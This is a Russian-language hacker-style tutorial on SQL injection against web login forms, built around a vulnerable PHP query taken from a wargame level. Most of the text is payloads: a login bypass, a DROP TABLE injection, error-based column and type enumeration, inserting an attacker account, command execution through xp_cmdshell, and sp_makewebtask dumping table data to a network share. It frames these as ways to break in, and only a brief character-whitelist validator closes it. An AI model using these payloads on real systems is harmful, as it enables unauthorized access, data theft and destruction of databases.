Эта статья является продолжением темы об
ошибках фильтрации входных параметров CGI приложений.
Теперь объектом нашего внимания станут базы данных SQL которые активно
используются для организации работы сложных Web приложений. Нашим заданием
станет манипулирование SQL запросом. Вот
небольшой пример...
Вы зашли на сайт, где требуется авторизация. Все, что от вас требуется это ввести правильный логин
и пас. Но что делать, если таковых в наличии не имеется? Ту
вступает в силу такой раздел, как SQL Injection. Допустим введенные данные
проверяются таким SQL запросом:
$result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND
pass='$password'");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}
(пример взят с пятого уровня NGSec
Game)
Когда мы вводим данные то наш SQL запрос будет иметь такой вид:
SELECT * FROM users WHERE user='admin' AND pass='admin'
Где "admin" введенный логин, а "admin" пароль. Как вы думаете что произойдет,
если ввести имя пользователя например "adm'in". Давайте посмотрим какой запрос
получится на этот раз...
SELECT * FROM users WHERE user='adm'in' AND pass='admin'
На этот раз мы получим сообщение об ошибке,
что-то вроде этого
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'in'.
Значит все ок, данный скрпт не проверяет входные данные. А теперь немного
логики и мы имеем такое условие:
if ((true=false) or (true=true)) then ..
Это условие будет всегда верным. А что если в запросе место логина ввести
такую шнягу "admin' or ' '=' '--", где "--" означает конец запроса? Получится вот что:
SELECT * FROM users WHERE user='admin' or ' '=' '--AND pass='admin'
Oh no! Мы вошли не зная ни пароля, ни логина :). Прикол в том что вот какой
запрос у нас вышел: если логин admin есть в базе данных или пробел
равен пробелу, тогда авторизация прошла успешно, ни о каком пароле речь не идет,
так как на этом запрос считается оконченным 🙂
Надеюсь все понятно? А теперь немного дикой практики... Если ввести логин
"admin'; drop table $table--" то мы удалим базу данных. Но все не так просто. А
если ее название хранится в ругой переменной или прописано в самом коде, что
тогда? Надо узнать имя БД... Чтобы продолжить будем анализировать ODBC
сообщения об ошибках, приступим... Введем логин " ' having 1=1--" на что сервер
обругается где-то так:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column 'users.status' is invalid in the select list because it is not contained
in an aggregate function and there is no GROUP BY clause.
Теперь нам известно, что имя базы данных "users", а первая колонка называется
"status". Неплохо, тоесть снести все нахрен мы уже сможем :), но давайте
попробуем добавить себя в базу данных, чтобы потом не парится. Но чтобы себя
добавить нам надо знать количество и название полей. Давайте введем такое чудо:
" ' group by users.id having 1=1--"
Получим вот что:
Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Значит нам теперь известно второе поле, дальше... набиваем:
" ' group by users.status, users.username having 1=1--"
и так последовательно узнаем все поля, до тех пор пока в ответ мы не получим ошибки. Допустим это получилось и
" ' group by users.status, users.username, users.password, users.mail having
1=1--"
не вызвало ошибок. Отлично! Значит все поля это status, username,
password и mail. Но теперь мы должны узнать тип используемый для каждого поля.
Введем место логина такое:
" ' union select sum(username) from users--"
и что мы видим? А вот что :
The sum or average aggregate operation cannot take a varchar data type as an
argument.
А значит это что username это varchar, то бишь строка. Теперь набиваем:
" ' union select sum(status) from users--".
Смотрим на результат:
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target
lists.
Это значит что поле status - число. Все теперь добавляем себя, пишем
вместо логина
" '; insert into users values( 0, 'xakep', 'g00r00',
'xakep@xakep.ru')--"
Вс, считайте дело сделано. Но и это еще не все! Мы можем исполнять команды. Делается это так:
" '; exec master..xp_cmdshell 'ping 127.0.0.1' --".
Но результатов мы не увидим. Что делать? Можно написать следующее:
" '; EXEC master..sp_makewebtask "\\127.0.0.1\data\result.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" ".
Где 127.0.0.1 IP компьютера с расшареной папкой data.
Это не все возможности, это основы. Все остальное по этой теме можно найти в
инете. Как избежать этого? Смотри пример на ASP:
function validatepassword( input )
good_password_chars
="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Возвращает true, если запрос правильный.
Пока на этом все.
To be continued...